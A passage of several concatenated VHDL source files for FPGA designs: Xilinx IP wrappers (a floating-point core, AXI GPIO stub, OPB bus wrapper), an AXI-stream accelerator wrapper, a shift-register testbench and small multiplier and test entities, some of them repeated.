C_HAS_MULTIPLY : INTEGER;
C_HAS_DIVIDE : INTEGER;
C_HAS_SQRT : INTEGER;
C_HAS_COMPARE : INTEGER;
C_HAS_FIX_TO_FLT : INTEGER;
C_HAS_FLT_TO_FIX : INTEGER;
C_HAS_FLT_TO_FLT : INTEGER;
C_HAS_RECIP : INTEGER;
C_HAS_RECIP_SQRT : INTEGER;
C_HAS_ABSOLUTE : INTEGER;
C_HAS_LOGARITHM : INTEGER;
C_HAS_EXPONENTIAL : INTEGER;
C_HAS_FMA : INTEGER;
C_HAS_FMS : INTEGER;
C_HAS_ACCUMULATOR_A : INTEGER;
C_HAS_ACCUMULATOR_S : INTEGER;
C_A_WIDTH : INTEGER;
C_A_FRACTION_WIDTH : INTEGER;
C_B_WIDTH : INTEGER;
C_B_FRACTION_WIDTH : INTEGER;
C_C_WIDTH : INTEGER;
C_C_FRACTION_WIDTH : INTEGER;
C_RESULT_WIDTH : INTEGER;
C_RESULT_FRACTION_WIDTH : INTEGER;
C_COMPARE_OPERATION : INTEGER;
C_LATENCY : INTEGER;
C_OPTIMIZATION : INTEGER;
C_MULT_USAGE : INTEGER;
C_BRAM_USAGE : INTEGER;
C_RATE : INTEGER;
C_ACCUM_INPUT_MSB : INTEGER;
C_ACCUM_MSB : INTEGER;
C_ACCUM_LSB : INTEGER;
C_HAS_UNDERFLOW : INTEGER;
C_HAS_OVERFLOW : INTEGER;
C_HAS_INVALID_OP : INTEGER;
C_HAS_DIVIDE_BY_ZERO : INTEGER;
C_HAS_ACCUM_OVERFLOW : INTEGER;
C_HAS_ACCUM_INPUT_OVERFLOW : INTEGER;
C_HAS_ACLKEN : INTEGER;
C_HAS_ARESETN : INTEGER;
C_THROTTLE_SCHEME : INTEGER;
C_HAS_A_TUSER : INTEGER;
C_HAS_A_TLAST : INTEGER;
C_HAS_B : INTEGER;
C_HAS_B_TUSER : INTEGER;
C_HAS_B_TLAST : INTEGER;
C_HAS_C : INTEGER;
C_HAS_C_TUSER : INTEGER;
C_HAS_C_TLAST : INTEGER;
C_HAS_OPERATION : INTEGER;
C_HAS_OPERATION_TUSER : INTEGER;
C_HAS_OPERATION_TLAST : INTEGER;
C_HAS_RESULT_TUSER : INTEGER;
C_HAS_RESULT_TLAST : INTEGER;
C_TLAST_RESOLUTION : INTEGER;
C_A_TDATA_WIDTH : INTEGER;
C_A_TUSER_WIDTH : INTEGER;
C_B_TDATA_WIDTH : INTEGER;
C_B_TUSER_WIDTH : INTEGER;
C_C_TDATA_WIDTH : INTEGER;
C_C_TUSER_WIDTH : INTEGER;
C_OPERATION_TDATA_WIDTH : INTEGER;
C_OPERATION_TUSER_WIDTH : INTEGER;
C_RESULT_TDATA_WIDTH : INTEGER;
C_RESULT_TUSER_WIDTH : INTEGER;
C_FIXED_DATA_UNSIGNED : INTEGER
);
PORT (
aclk : IN STD_LOGIC;
aclken : IN STD_LOGIC;
aresetn : IN STD_LOGIC;
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tready : OUT STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_a_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_a_tlast : IN STD_LOGIC;
s_axis_b_tvalid : IN STD_LOGIC;
s_axis_b_tready : OUT STD_LOGIC;
s_axis_b_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_b_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_b_tlast : IN STD_LOGIC;
s_axis_c_tvalid : IN STD_LOGIC;
s_axis_c_tready : OUT STD_LOGIC;
s_axis_c_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_c_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_c_tlast : IN STD_LOGIC;
s_axis_operation_tvalid : IN STD_LOGIC;
s_axis_operation_tready : OUT STD_LOGIC;
s_axis_operation_tdata : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
s_axis_operation_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_operation_tlast : IN STD_LOGIC;
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tready : IN STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0);
m_axis_result_tuser : OUT STD_LOGIC_VECTOR(0 DOWNTO 0);
m_axis_result_tlast : OUT STD_LOGIC
);
END COMPONENT floating_point_v7_1_1;
ATTRIBUTE X_CORE_INFO : STRING;
ATTRIBUTE X_CORE_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "floating_point_v7_1_1,Vivado 2015.4.2";
ATTRIBUTE CHECK_LICENSE_TYPE : STRING;
ATTRIBUTE CHECK_LICENSE_TYPE OF feedforward_ap_fptrunc_0_no_dsp_64_arch : ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{}";
ATTRIBUTE CORE_GENERATION_INFO : STRING;
ATTRIBUTE CORE_GENERATION_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{x_ipProduct=Vivado 2015.4.2,x_ipVendor=xilinx.com,x_ipLibrary=ip,x_ipName=floating_point,x_ipVersion=7.1,x_ipCoreRevision=1,x_ipLanguage=VHDL,x_ipSimLanguage=MIXED,C_XDEVICEFAMILY=virtex7,C_HAS_ADD=0,C_HAS_SUBTRACT=0,C_HAS_MULTIPLY=0,C_HAS_DIVIDE=0,C_HAS_SQRT=0,C_HAS_COMPARE=0,C_HAS_FIX_TO_FLT=0,C_HAS_FLT_TO_FIX=0,C_HAS_FLT_TO_FLT=1,C_HAS_RECIP=0,C_HAS_RECIP_SQRT=0,C_HAS_ABSOLUTE=0,C_HAS_LOGARITHM=0,C_HAS_EXPONENTIAL=0,C_HAS_FMA=0,C_HAS_FMS=0,C_HAS_ACCUMULATOR_A=0,C_HAS_ACCUMULATOR_S=0,C_A_WIDTH=64,C_A_FRACTION_WIDTH=53,C_B_WIDTH=64,C_B_FRACTION_WIDTH=53,C_C_WIDTH=64,C_C_FRACTION_WIDTH=53,C_RESULT_WIDTH=32,C_RESULT_FRACTION_WIDTH=24,C_COMPARE_OPERATION=8,C_LATENCY=0,C_OPTIMIZATION=1,C_MULT_USAGE=0,C_BRAM_USAGE=0,C_RATE=1,C_ACCUM_INPUT_MSB=32,C_ACCUM_MSB=32,C_ACCUM_LSB=-31,C_HAS_UNDERFLOW=0,C_HAS_OVERFLOW=0,C_HAS_INVALID_OP=0,C_HAS_DIVIDE_BY_ZERO=0,C_HAS_ACCUM_OVERFLOW=0,C_HAS_ACCUM_INPUT_OVERFLOW=0,C_HAS_ACLKEN=0,C_HAS_ARESETN=0,C_THROTTLE_SCHEME=3,C_HAS_A_TUSER=0,C_HAS_A_TLAST=0,C_HAS_B=0,C_HAS_B_TUSER=0,C_HAS_B_TLAST=0,C_HAS_C=0,C_HAS_C_TUSER=0,C_HAS_C_TLAST=0,C_HAS_OPERATION=0,C_HAS_OPERATION_TUSER=0,C_HAS_OPERATION_TLAST=0,C_HAS_RESULT_TUSER=0,C_HAS_RESULT_TLAST=0,C_TLAST_RESOLUTION=0,C_A_TDATA_WIDTH=64,C_A_TUSER_WIDTH=1,C_B_TDATA_WIDTH=64,C_B_TUSER_WIDTH=1,C_C_TDATA_WIDTH=64,C_C_TUSER_WIDTH=1,C_OPERATION_TDATA_WIDTH=8,C_OPERATION_TUSER_WIDTH=1,C_RESULT_TDATA_WIDTH=32,C_RESULT_TUSER_WIDTH=1,C_FIXED_DATA_UNSIGNED=0}";
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TVALID";
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TDATA";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TVALID";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TDATA";
BEGIN
U0 : floating_point_v7_1_1
GENERIC MAP (
C_XDEVICEFAMILY => "virtex7",
C_HAS_ADD => 0,
C_HAS_SUBTRACT => 0,
C_HAS_MULTIPLY => 0,
C_HAS_DIVIDE => 0,
C_HAS_SQRT => 0,
C_HAS_COMPARE => 0,
C_HAS_FIX_TO_FLT => 0,
C_HAS_FLT_TO_FIX => 0,
C_HAS_FLT_TO_FLT => 1,
C_HAS_RECIP => 0,
C_HAS_RECIP_SQRT => 0,
C_HAS_ABSOLUTE => 0,
C_HAS_LOGARITHM => 0,
C_HAS_EXPONENTIAL => 0,
C_HAS_FMA => 0,
C_HAS_FMS => 0,
C_HAS_ACCUMULATOR_A => 0,
C_HAS_ACCUMULATOR_S => 0,
C_A_WIDTH => 64,
C_A_FRACTION_WIDTH => 53,
C_B_WIDTH => 64,
C_B_FRACTION_WIDTH => 53,
C_C_WIDTH => 64,
C_C_FRACTION_WIDTH => 53,
C_RESULT_WIDTH => 32,
C_RESULT_FRACTION_WIDTH => 24,
C_COMPARE_OPERATION => 8,
C_LATENCY => 0,
C_OPTIMIZATION => 1,
C_MULT_USAGE => 0,
C_BRAM_USAGE => 0,
C_RATE => 1,
C_ACCUM_INPUT_MSB => 32,
C_ACCUM_MSB => 32,
C_ACCUM_LSB => -31,
C_HAS_UNDERFLOW => 0,
C_HAS_OVERFLOW => 0,
C_HAS_INVALID_OP => 0,
C_HAS_DIVIDE_BY_ZERO => 0,
C_HAS_ACCUM_OVERFLOW => 0,
C_HAS_ACCUM_INPUT_OVERFLOW => 0,
C_HAS_ACLKEN => 0,
C_HAS_ARESETN => 0,
C_THROTTLE_SCHEME => 3,
C_HAS_A_TUSER => 0,
C_HAS_A_TLAST => 0,
C_HAS_B => 0,
C_HAS_B_TUSER => 0,
C_HAS_B_TLAST => 0,
C_HAS_C => 0,
C_HAS_C_TUSER => 0,
C_HAS_C_TLAST => 0,
C_HAS_OPERATION => 0,
C_HAS_OPERATION_TUSER => 0,
C_HAS_OPERATION_TLAST => 0,
C_HAS_RESULT_TUSER => 0,
C_HAS_RESULT_TLAST => 0,
C_TLAST_RESOLUTION => 0,
C_A_TDATA_WIDTH => 64,
C_A_TUSER_WIDTH => 1,
C_B_TDATA_WIDTH => 64,
C_B_TUSER_WIDTH => 1,
C_C_TDATA_WIDTH => 64,
C_C_TUSER_WIDTH => 1,
C_OPERATION_TDATA_WIDTH => 8,
C_OPERATION_TUSER_WIDTH => 1,
C_RESULT_TDATA_WIDTH => 32,
C_RESULT_TUSER_WIDTH => 1,
C_FIXED_DATA_UNSIGNED => 0
)
PORT MAP (
aclk => '0',
aclken => '1',
aresetn => '1',
s_axis_a_tvalid => s_axis_a_tvalid,
s_axis_a_tdata => s_axis_a_tdata,
s_axis_a_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_a_tlast => '0',
s_axis_b_tvalid => '0',
s_axis_b_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_b_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_b_tlast => '0',
s_axis_c_tvalid => '0',
s_axis_c_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_c_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_c_tlast => '0',
s_axis_operation_tvalid => '0',
s_axis_operation_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 8)),
s_axis_operation_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_operation_tlast => '0',
m_axis_result_tvalid => m_axis_result_tvalid,
m_axis_result_tready => '0',
m_axis_result_tdata => m_axis_result_tdata
);
END feedforward_ap_fptrunc_0_no_dsp_64_arch;
|
library ieee;
use ieee.numeric_std.all;
use ieee.std_logic_1164.all;
use ieee.std_logic_arith.all;
use ieee.std_logic_unsigned.all;
-------------------------------------------------------------------------------------
--
--
-- Definition of Ports
-- FSL_Clk : Synchronous clock
-- FSL_Rst : System reset, should always come from FSL bus
-- FSL_S_Clk : Slave asynchronous clock
-- FSL_S_Read : Read signal, requiring next available input to be read
-- FSL_S_Data : Input data
-- FSL_S_CONTROL : Control Bit, indicating the input data are control word
-- FSL_S_Exists : Data Exist Bit, indicating data exist in the input FSL bus
-- FSL_M_Clk : Master asynchronous clock
-- FSL_M_Write : Write signal, enabling writing to output FSL bus
-- FSL_M_Data : Output data
-- FSL_M_Control : Control Bit, indicating the output data are contol word
-- FSL_M_Full : Full Bit, indicating output FSL bus is full
--
-------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- Entity Section
------------------------------------------------------------------------------
entity hw_acc_vector is
port
(
-- DO NOT EDIT BELOW THIS LINE ---------------------
-- Bus protocol ports, do not add or delete.
ap_clk : IN STD_LOGIC;
ap_rst_n : IN STD_LOGIC;
S_AXIS_TDATA : IN STD_LOGIC_VECTOR (31 downto 0);
S_AXIS_TVALID : IN STD_LOGIC;
S_AXIS_TREADY : OUT STD_LOGIC;
M_AXIS_TDATA : OUT STD_LOGIC_VECTOR (31 downto 0);
M_AXIS_TVALID : OUT STD_LOGIC;
M_AXIS_TREADY : IN STD_LOGIC;
BRAM_A_addr : out std_logic_vector(0 to (32 - 1));
BRAM_A_dIN : out std_logic_vector(0 to (32 - 1));
BRAM_A_dOUT : in std_logic_vector(0 to (32 - 1));
BRAM_A_en : out std_logic;
BRAM_A_wEN : out std_logic_vector(0 to (32/8) -1);
------------------------------------------------------
BRAM_B_dIN : out std_logic_vector(0 to (32 - 1)) ;
BRAM_B_addr : out std_logic_vector(0 to (32 - 1)) ;
BRAM_B_dOUT : in std_logic_vector(0 to (32 - 1)) ;
BRAM_B_en : out std_logic ;
BRAM_B_wEN : out std_logic_vector(0 to (32/8) -1);
BRAM_C_dIN : out std_logic_vector(0 to (32 - 1)) ;
BRAM_C_addr : out std_logic_vector(0 to (32 - 1)) ;
BRAM_C_dOUT : in std_logic_vector(0 to (32 - 1)) ;
BRAM_C_en : out std_logic ;
BRAM_C_wEN : out std_logic_vector(0 to (32/8) -1)
-- DO NOT EDIT ABOVE THIS LINE ---------------------
-- DO NOT EDIT ABOVE THIS LINE ---------------------
);
end hw_acc_vector;
-- *************************
-- Architecture Definition
-- *************************
architecture IMPLEMENTATION of hw_acc_vector is
component vector_chan is
generic(
G_ADDR_WIDTH : integer := 32;
G_DATA_WIDTH : integer := 32
);
port
(
Vector_A_addr0 : out std_logic_vector(0 to (G_ADDR_WIDTH - 1));
Vector_A_dIN0 : out std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_A_dOUT0 : in std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_A_rENA0 : out std_logic;
Vector_A_wENA0 : out std_logic_vector(0 to (G_DATA_WIDTH/8) -1);
Vector_B_addr0 : out std_logic_vector(0 to (G_ADDR_WIDTH - 1));
Vector_B_dIN0 : out std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_B_dOUT0 : in std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_B_rENA0 : out std_logic;
Vector_B_wENA0 : out std_logic_vector(0 to (G_DATA_WIDTH/8) -1);
Vector_C_addr0 : out std_logic_vector(0 to (G_ADDR_WIDTH - 1));
Vector_C_dIN0 : out std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_C_dOUT0 : in std_logic_vector(0 to (G_DATA_WIDTH - 1));
Vector_C_rENA0 : out std_logic;
Vector_C_wENA0 : out std_logic_vector(0 to (G_DATA_WIDTH/8) -1);
chan1_channelDataIn : out std_logic_vector(0 to (32 - 1));
chan1_channelDataOut : in std_logic_vector(0 to (32 - 1));
chan1_exists : in std_logic;
chan1_full : in std_logic;
chan1_channelRead : out std_logic;
chan1_channelWrite : out std_logic;
clock_sig : in std_logic;
reset_sig : in std_logic
);
end component;
signal ap_rst : STD_LOGIC;
-- Architecture Section
begin
ap_rst <= not ap_rst_n;
uut : vector_chan
port map (
Vector_A_addr0 => BRAM_A_addr,
Vector_A_dIN0 => BRAM_A_din,
Vector_A_dOUT0 => BRAM_A_dout,
Vector_A_rENA0 => BRAM_A_en,
Vector_A_wENA0 => BRAM_A_wen,
Vector_B_addr0 => BRAM_B_addr,
Vector_B_dIN0 => BRAM_B_din,
Vector_B_dOUT0 => BRAM_B_dout,
Vector_B_rENA0 => BRAM_B_en,
Vector_B_wENA0 => BRAM_B_wen,
Vector_C_addr0 => BRAM_C_addr,
Vector_C_dIN0 => BRAM_C_din,
Vector_C_dOUT0 => BRAM_C_dout,
Vector_C_rENA0 => BRAM_C_en,
Vector_C_wENA0 => BRAM_C_wen,
chan1_channelDataIn => M_AXIS_TDATA,
chan1_channelDataOut => S_AXIS_TDATA,
chan1_exists => S_AXIS_Tvalid,
chan1_full => not M_AXIS_Tready,
chan1_channelRead => S_AXIS_Tready,
chan1_channelWrite => M_AXIS_tvalid,
clock_sig => ap_clk,
reset_sig => ap_rst
);
end architecture implementation;
|
--------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 18:02:57 11/15/2013
-- Design Name:
-- Module Name: C:/Users/Silvia/Desktop/RS232 project/RS232/tb_ShiftRegister.vhd
-- Project Name: RS232
-- Target Device:
-- Tool versions:
-- Description:
--
-- VHDL Test Bench Created by ISE for module: ShiftRegister
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
-- Notes:
-- This testbench has been automatically generated using types std_logic and
-- std_logic_vector for the ports of the unit under test. Xilinx recommends
-- that these types always be used for the top-level I/O of a design in order
-- to guarantee that the testbench will bind correctly to the post-implementation
-- simulation model.
--------------------------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
--USE ieee.numeric_std.ALL;
ENTITY tb_ShiftRegister IS
END tb_ShiftRegister;
ARCHITECTURE behavior OF tb_ShiftRegister IS
-- Component Declaration for the Unit Under Test (UUT)
COMPONENT ShiftRegister
PORT(
Reset : IN std_logic;
Clk : IN std_logic;
Enable : IN std_logic;
D : IN std_logic;
Q : OUT std_logic_vector(7 downto 0)
);
END COMPONENT;
--Inputs
signal Reset : std_logic := '0';
signal Clk : std_logic := '0';
signal Enable : std_logic := '0';
signal D : std_logic := '0';
--Outputs
signal Q : std_logic_vector(7 downto 0);
-- Clock period definitions
constant Clk_period : time := 50 ns;
BEGIN
-- Instantiate the Unit Under Test (UUT)
uut: ShiftRegister PORT MAP (
Reset => Reset,
Clk => Clk,
Enable => Enable,
D => D,
Q => Q
);
-- Clock process definitions
Clk_process :process
begin
Clk <= '0';
wait for Clk_period/2;
Clk <= '1';
wait for Clk_period/2;
end process;
D <= NOT D after 51 ns;
-- Stimulus process
stim_proc: process
begin
wait for 100 ns;
Reset <= '1';
wait for 300 ns;
Enable <= '1';
wait for 300 ns;
Enable <= '0';
wait;
end process;
END;
|
-- Copyright 1986-2017 Xilinx, Inc. All Rights Reserved.
-- --------------------------------------------------------------------------------
-- Tool Version: Vivado v.2017.2 (win64) Build 1909853 Thu Jun 15 18:39:09 MDT 2017
-- Date : Wed Sep 20 21:28:58 2017
-- Host : EffulgentTome running 64-bit major release (build 9200)
-- Command : write_vhdl -force -mode synth_stub -rename_top decalper_eb_ot_sdeen_pot_pi_dehcac_xnilix -prefix
-- decalper_eb_ot_sdeen_pot_pi_dehcac_xnilix_ zqynq_lab_1_design_axi_gpio_1_0_stub.vhdl
-- Design : zqynq_lab_1_design_axi_gpio_1_0
-- Purpose : Stub declaration of top-level module interface
-- Device : xc7z020clg484-1
-- --------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity decalper_eb_ot_sdeen_pot_pi_dehcac_xnilix is
Port (
s_axi_aclk : in STD_LOGIC;
s_axi_aresetn : in STD_LOGIC;
s_axi_awaddr : in STD_LOGIC_VECTOR ( 8 downto 0 );
s_axi_awvalid : in STD_LOGIC;
s_axi_awready : out STD_LOGIC;
s_axi_wdata : in STD_LOGIC_VECTOR ( 31 downto 0 );
s_axi_wstrb : in STD_LOGIC_VECTOR ( 3 downto 0 );
s_axi_wvalid : in STD_LOGIC;
s_axi_wready : out STD_LOGIC;
s_axi_bresp : out STD_LOGIC_VECTOR ( 1 downto 0 );
s_axi_bvalid : out STD_LOGIC;
s_axi_bready : in STD_LOGIC;
s_axi_araddr : in STD_LOGIC_VECTOR ( 8 downto 0 );
s_axi_arvalid : in STD_LOGIC;
s_axi_arready : out STD_LOGIC;
s_axi_rdata : out STD_LOGIC_VECTOR ( 31 downto 0 );
s_axi_rresp : out STD_LOGIC_VECTOR ( 1 downto 0 );
s_axi_rvalid : out STD_LOGIC;
s_axi_rready : in STD_LOGIC;
ip2intc_irpt : out STD_LOGIC;
gpio_io_i : in STD_LOGIC_VECTOR ( 4 downto 0 )
);
end decalper_eb_ot_sdeen_pot_pi_dehcac_xnilix;
architecture stub of decalper_eb_ot_sdeen_pot_pi_dehcac_xnilix is
attribute syn_black_box : boolean;
attribute black_box_pad_pin : string;
attribute syn_black_box of stub : architecture is true;
attribute black_box_pad_pin of stub : architecture is "s_axi_aclk,s_axi_aresetn,s_axi_awaddr[8:0],s_axi_awvalid,s_axi_awready,s_axi_wdata[31:0],s_axi_wstrb[3:0],s_axi_wvalid,s_axi_wready,s_axi_bresp[1:0],s_axi_bvalid,s_axi_bready,s_axi_araddr[8:0],s_axi_arvalid,s_axi_arready,s_axi_rdata[31:0],s_axi_rresp[1:0],s_axi_rvalid,s_axi_rready,ip2intc_irpt,gpio_io_i[4:0]";
attribute x_core_info : string;
attribute x_core_info of stub : architecture is "axi_gpio,Vivado 2017.2";
begin
end;
|
architecture rtl of fifo is
alias designator_a is name;
alias designator is name;
begin
end architecture rtl;
|
library ieee;
use ieee.std_logic_1164.all;
library ieee;
use ieee.numeric_std.all;
entity mul_579 is
port (
result : out std_logic_vector(31 downto 0);
in_a : in std_logic_vector(31 downto 0);
in_b : in std_logic_vector(15 downto 0)
);
end mul_579;
architecture augh of mul_579 is
signal tmp_res : signed(47 downto 0);
begin
-- The actual multiplication
tmp_res <= signed(in_a) * signed(in_b);
-- Set the output
result <= std_logic_vector(tmp_res(31 downto 0));
end architecture;
|
library ieee;
use ieee.std_logic_1164.all;
library ieee;
use ieee.numeric_std.all;
entity mul_579 is
port (
result : out std_logic_vector(31 downto 0);
in_a : in std_logic_vector(31 downto 0);
in_b : in std_logic_vector(15 downto 0)
);
end mul_579;
architecture augh of mul_579 is
signal tmp_res : signed(47 downto 0);
begin
-- The actual multiplication
tmp_res <= signed(in_a) * signed(in_b);
-- Set the output
result <= std_logic_vector(tmp_res(31 downto 0));
end architecture;
|
entity if4 is
end;
architecture behav of if4 is
begin
process
variable i : natural := 0;
begin
report "hello";
if i = 10 then
wait for 1 ns;
else
report "hello2";
end if;
report "SUCCESS";
wait;
end process;
end behav;
|
entity if4 is
end;
architecture behav of if4 is
begin
process
variable i : natural := 0;
begin
report "hello";
if i = 10 then
wait for 1 ns;
else
report "hello2";
end if;
report "SUCCESS";
wait;
end process;
end behav;
|
-- $Id: opb_v20_wrap.vhd,v 1.1.2.1 2009/10/06 21:15:01 gburch Exp $
-------------------------------------------------------------------------------
--
-- *************************************************************************
-- ** **
-- ** DISCLAIMER OF LIABILITY **
-- ** **
-- ** This text/file contains proprietary, confidential **
-- ** information of Xilinx, Inc., is distributed under **
-- ** license from Xilinx, Inc., and may be used, copied **
-- ** and/or disclosed only pursuant to the terms of a valid **
-- ** license agreement with Xilinx, Inc. Xilinx hereby **
-- ** grants you a license to use this text/file solely for **
-- ** design, simulation, implementation and creation of **
-- ** design files limited to Xilinx devices or technologies. **
-- ** Use with non-Xilinx devices or technologies is expressly **
-- ** prohibited and immediately terminates your license unless **
-- ** covered by a separate agreement. **
-- ** **
-- ** Xilinx is providing this design, code, or information **
-- ** "as-is" solely for use in developing programs and **
-- ** solutions for Xilinx devices, with no obligation on the **
-- ** part of Xilinx to provide support. By providing this design, **
-- ** code, or information as one possible implementation of **
-- ** this feature, application or standard, Xilinx is making no **
-- ** representation that this implementation is free from any **
-- ** claims of infringement. You are responsible for obtaining **
-- ** any rights you may require for your implementation. **
-- ** Xilinx expressly disclaims any warranty whatsoever with **
-- ** respect to the adequacy of the implementation, including **
-- ** but not limited to any warranties or representations that this **
-- ** implementation is free from claims of infringement, implied **
-- ** warranties of merchantability or fitness for a particular **
-- ** purpose. **
-- ** **
-- ** Xilinx products are not intended for use in life support **
-- ** appliances, devices, or systems. Use in such applications is **
-- ** expressly prohibited. **
-- ** **
-- ** Any modifications that are made to the Source Code are **
-- ** done at the users sole risk and will be unsupported. **
-- ** The Xilinx Support Hotline does not have access to source **
-- ** code and therefore cannot answer specific questions related **
-- ** to source HDL. The Xilinx Hotline support of original source **
-- ** code IP shall only address issues and questions related **
-- ** to the standard Netlist version of the core (and thus **
-- ** indirectly, the original core source). **
-- ** **
-- ** Copyright (c) 2003,2009 Xilinx, Inc. All rights reserved. **
-- ** **
-- ** This copyright and support notice must be retained as part **
-- ** of this text at all times. **
-- ** **
-- *************************************************************************
--
-------------------------------------------------------------------------------
-- opb_v20_wrap.vhd
-- Generated by wrapgen, v1.01j Sep 22,2004 4:16:33
--
-- GAB 10/05/09
-- ^^^^^^
-- Moved all helper libraries proc_common_v2_00_a, opb_ipif_v3_01_a, and
-- opb_arbiter_v1_02_e locally into opb_v20_v1_10_d
--
-- Updated legal header
-- ~~~~~~
library ieee;
use ieee.std_logic_1164.all;
-------------------------------------------------------------------------------
-- entity
-------------------------------------------------------------------------------
entity opb_v20_wrap is
generic
(
C_OPB_AWIDTH : integer := 32;
C_OPB_DWIDTH : integer := 32;
C_NUM_MASTERS : integer := 1;
C_NUM_SLAVES : integer := 16;
C_USE_LUT_OR : integer := 1;
C_EXT_RESET_HIGH : integer := 1;
C_BASEADDR : std_logic_vector := X"10000000";
C_HIGHADDR : std_logic_vector := X"100001FF";
C_DYNAM_PRIORITY : integer := 1;
C_PARK : integer := 1;
C_PROC_INTRFCE : integer := 1;
C_REG_GRANTS : integer := 1;
C_DEV_BLK_ID : integer := 0;
C_DEV_MIR_ENABLE : integer := 0
);
port
(
SYS_Rst : in std_logic;
Debug_SYS_Rst : in std_logic;
WDT_Rst : in std_logic;
OPB_Clk : in std_logic;
OPB_Rst : out std_logic;
M_ABus : in std_logic_vector(0 to C_OPB_AWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_BE : in std_logic_vector(0 to (C_OPB_DWIDTH+7)/8*C_NUM_MASTERS-1) := (others => '0');
M_beXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_busLock : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_DBus : in std_logic_vector(0 to C_OPB_DWIDTH*C_NUM_MASTERS-1) := (others => '0');
M_DBusEn : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_DBusEn32_63 : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '1');
M_dwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_fwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_hwXfer : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_request : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_RNW : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_select : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
M_seqAddr : in std_logic_vector(0 to C_NUM_MASTERS-1) := (others => '0');
Sl_beAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_DBus : in std_logic_vector(0 to C_OPB_DWIDTH* C_NUM_SLAVES-1) := (others => '0');
Sl_DBusEn : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_DBusEn32_63 : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '1');
Sl_errAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_dwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_fwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_hwAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_retry : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_toutSup : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
Sl_xferAck : in std_logic_vector(0 to C_NUM_SLAVES-1) := (others => '0');
OPB_MRequest : out std_logic_vector(0 to C_NUM_MASTERS-1);
OPB_ABus : out std_logic_vector(0 to C_OPB_AWIDTH-1);
OPB_BE : out std_logic_vector(0 to (C_OPB_DWIDTH+7)/8-1);
OPB_beXfer : out std_logic;
OPB_beAck : out std_logic;
OPB_busLock : out std_logic;
OPB_rdDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_wrDBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_DBus : out std_logic_vector(0 to C_OPB_DWIDTH-1);
OPB_errAck : out std_logic;
OPB_dwAck : out std_logic;
OPB_dwXfer : out std_logic;
OPB_fwAck : out std_logic;
OPB_fwXfer : out std_logic;
OPB_hwAck : out std_logic;
OPB_hwXfer : out std_logic;
